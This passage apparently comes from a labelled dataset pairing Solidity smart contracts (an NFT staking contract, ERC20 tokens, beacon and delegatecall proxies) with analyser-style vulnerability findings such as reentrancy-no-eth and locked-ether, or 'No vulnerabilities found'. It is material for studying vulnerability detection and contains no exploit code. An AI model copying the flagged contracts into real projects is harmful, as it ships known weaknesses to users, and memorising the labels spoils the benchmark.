function removeTokenIdFromStaker(address staker, uint256 tokenId) internal {
for (uint256 i = 0; i < stakerToTokenIds[staker].length; i++) {
if (stakerToTokenIds[staker][i] == tokenId) {
//This is the tokenId to remove;
remove(staker, i);
}
}
}
function stakeByIds(uint256[] memory tokenIds) external stakingStarted {
for (uint256 i = 0; i < tokenIds.length; i++) {
require(
IERC721(minersAddress).ownerOf(tokenIds[i]) == msg.sender &&
tokenIdToStaker[tokenIds[i]] == nullAddress,
"Token must be stakable by you!"
);
IERC721(minersAddress).transferFrom(
msg.sender,
address(this),
tokenIds[i]
);
stakerToTokenIds[msg.sender].push(tokenIds[i]);
tokenIdToTimeStamp[tokenIds[i]] = block.timestamp;
tokenIdToStaker[tokenIds[i]] = msg.sender;
totalTokensStaked += 1;
}
}
function unstakeAll() external stakingStarted {
require(
stakerToTokenIds[msg.sender].length > 0,
"Must have at least one token staked!"
);
for (uint256 i = stakerToTokenIds[msg.sender].length; i > 0; i--) {
uint256 tokenId = stakerToTokenIds[msg.sender][i - 1];
IERC721(minersAddress).transferFrom(
address(this),
msg.sender,
tokenId
);
totalStakingTimeByTokenForAddress[msg.sender][tokenId] += ((block.timestamp - tokenIdToTimeStamp[tokenId]));
removeTokenIdFromStaker(msg.sender, tokenId);
tokenIdToStaker[tokenId] = nullAddress;
totalTokensStaked = totalTokensStaked - 1;
}
}
function unstakeByIds(uint256[] memory tokenIds) external stakingStarted {
for (uint256 i = 0; i < tokenIds.length; i++) {
require(
tokenIdToStaker[tokenIds[i]] == msg.sender,
"Message Sender was not original staker!"
);
IERC721(minersAddress).transferFrom(
address(this),
msg.sender,
tokenIds[i]
);
totalStakingTimeByTokenForAddress[msg.sender][tokenIds[i]] += ((block.timestamp - tokenIdToTimeStamp[tokenIds[i]]));
removeTokenIdFromStaker(msg.sender, tokenIds[i]);
tokenIdToStaker[tokenIds[i]] = nullAddress;
totalTokensStaked = totalTokensStaked - 1;
}
}
function unstakeByIdByOwner(uint256 tokenId, address addr) external stakingStarted onlyOwner {
require(
tokenIdToStaker[tokenId] == addr,
"Staker address is not valid!"
);
IERC721(minersAddress).transferFrom(
address(this),
addr,
tokenId
);
totalStakingTimeByTokenForAddress[addr][tokenId] += ((block.timestamp - tokenIdToTimeStamp[tokenId]));
removeTokenIdFromStaker(addr, tokenId);
tokenIdToStaker[tokenId] = nullAddress;
totalTokensStaked = totalTokensStaked - 1;
}
function getSecondsStakedByTokenId(uint256 tokenId)
external
view
returns (uint256)
{
require(
tokenIdToStaker[tokenId] != nullAddress,
"Token is not staked!"
);
uint256 secondsStaked = block.timestamp - tokenIdToTimeStamp[tokenId];
return secondsStaked;
}
function getStaker(uint256 tokenId) external view returns (address) {
return tokenIdToStaker[tokenId];
}
} | These are the vulnerabilities found
1) unused-return with Medium impact
2) reentrancy-no-eth with Medium impact
3) uninitialized-local with Medium impact
4) locked-ether with Medium impact |
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
/**
* @title Pausable token
*
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract StarSportsToken is BurnableToken, PausableToken {
string public name = "Star Sports Token";
string public symbol = "SST";
uint256 public decimals = 18;
uint256 public constant INITIAL_SUPPLY = 60 * 1000 * 1000 * 1000 * (10 ** uint256(decimals));
function StarSportsToken() public {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | No vulnerabilities found |
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.11;
// ============ External Imports ============
import {Address} from "@openzeppelin/contracts/utils/Address.sol";
/**
* @title UpgradeBeaconProxy
* @notice
* Proxy contract which delegates all logic, including initialization,
* to an implementation contract.
* The implementation contract is stored within an Upgrade Beacon contract;
* the implementation contract can be changed by performing an upgrade on the Upgrade Beacon contract.
* The Upgrade Beacon contract for this Proxy is immutably specified at deployment.
* @dev This implementation combines the gas savings of keeping the UpgradeBeacon address outside of contract storage
* found in 0age's implementation:
* https://github.com/dharma-eng/dharma-smart-wallet/blob/master/contracts/proxies/smart-wallet/UpgradeBeaconProxyV1.sol
* With the added safety checks that the UpgradeBeacon and implementation are contracts at time of deployment
* found in OpenZeppelin's implementation:
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/proxy/beacon/BeaconProxy.sol
*/
contract UpgradeBeaconProxy {
// ============ Immutables ============
// Upgrade Beacon address is immutable (therefore not kept in contract storage)
address private immutable upgradeBeacon;
// ============ Constructor ============
/**
* @notice Validate that the Upgrade Beacon is a contract, then set its
* address immutably within this contract.
* Validate that the implementation is also a contract,
* Then call the initialization function defined at the implementation.
* The deployment will revert and pass along the
* revert reason if the initialization function reverts.
* @param _upgradeBeacon Address of the Upgrade Beacon to be stored immutably in the contract
* @param _initializationCalldata Calldata supplied when calling the initialization function
*/
constructor(address _upgradeBeacon, bytes memory _initializationCalldata)
payable
{
// Validate the Upgrade Beacon is a contract
require(Address.isContract(_upgradeBeacon), "beacon !contract");
// set the Upgrade Beacon
upgradeBeacon = _upgradeBeacon;
// Validate the implementation is a contract
address _implementation = _getImplementation(_upgradeBeacon);
require(
Address.isContract(_implementation),
"beacon implementation !contract"
);
// Call the initialization function on the implementation
if (_initializationCalldata.length > 0) {
_initialize(_implementation, _initializationCalldata);
}
}
// ============ External Functions ============
/**
* @notice Forwards all calls with data to _fallback()
* No public functions are declared on the contract, so all calls hit fallback
*/
fallback() external payable {
_fallback();
}
/**
* @notice Forwards all calls with no data to _fallback()
*/
receive() external payable {
_fallback();
}
// ============ Private Functions ============
/**
* @notice Call the initialization function on the implementation
* Used at deployment to initialize the proxy
* based on the logic for initialization defined at the implementation
* @param _implementation - Contract to which the initalization is delegated
* @param _initializationCalldata - Calldata supplied when calling the initialization function
*/
function _initialize(
address _implementation,
bytes memory _initializationCalldata
) private {
// Delegatecall into the implementation, supplying initialization calldata.
(bool _ok, ) = _implementation.delegatecall(_initializationCalldata);
// Revert and include revert data if delegatecall to implementation reverts.
if (!_ok) {
assembly {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
}
}
/**
* @notice Delegates function calls to the implementation contract returned by the Upgrade Beacon
*/
function _fallback() private {
_delegate(_getImplementation());
}
/**
* @notice Delegate function execution to the implementation contract
* @dev This is a low level function that doesn't return to its internal
* call site. It will return whatever is returned by the implementation to the
* external caller, reverting and returning the revert data if implementation
* reverts.
* @param _implementation - Address to which the function execution is delegated
*/
function _delegate(address _implementation) private {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Delegatecall to the implementation, supplying calldata and gas.
// Out and outsize are set to zero - instead, use the return buffer.
let result := delegatecall(
gas(),
_implementation,
0,
calldatasize(),
0,
0
)
// Copy the returned data from the return buffer.
returndatacopy(0, 0, returndatasize())
switch result
// Delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @notice Call the Upgrade Beacon to get the current implementation contract address
* @return _implementation Address of the current implementation.
*/
function _getImplementation()
private
view
returns (address _implementation)
{
_implementation = _getImplementation(upgradeBeacon);
}
/**
* @notice Call the Upgrade Beacon to get the current implementation contract address
* @dev _upgradeBeacon is passed as a parameter so that
* we can also use this function in the constructor,
* where we can't access immutable variables.
* @param _upgradeBeacon Address of the UpgradeBeacon storing the current implementation
* @return _implementation Address of the current implementation.
*/
function _getImplementation(address _upgradeBeacon)
private
view
returns (address _implementation)
{
// Get the current implementation address from the upgrade beacon.
(bool _ok, bytes memory _returnData) = _upgradeBeacon.staticcall("");
// Revert and pass along revert message if call to upgrade beacon reverts.
require(_ok, string(_returnData));
// Set the implementation to the address returned from the upgrade beacon.
_implementation = abi.decode(_returnData, (address));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
| No vulnerabilities found |
pragma solidity 0.5.0;
contract Proxy {
address private targetAddress;
address private admin;
constructor() public {
targetAddress = 0x75187dbC3E2d5e49b3D4F8ee8980937cbbf382eD;
admin = msg.sender;
}
function setTargetAddress(address _address) public {
require(msg.sender==admin , "Admin only function");
require(_address != address(0));
targetAddress = _address;
}
function setOwner(address _address) public {
require(msg.sender==admin , "Admin only function");
require(_address != address(0));
admin = _address;
}
function getContAdr() public view returns (address) {
return targetAddress;
}
function () external payable {
address contractAddr = targetAddress;
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, contractAddr, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT112487' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT112487
// Name : ADZbuzz Forbes.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT112487";
name = "ADZbuzz Forbes.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
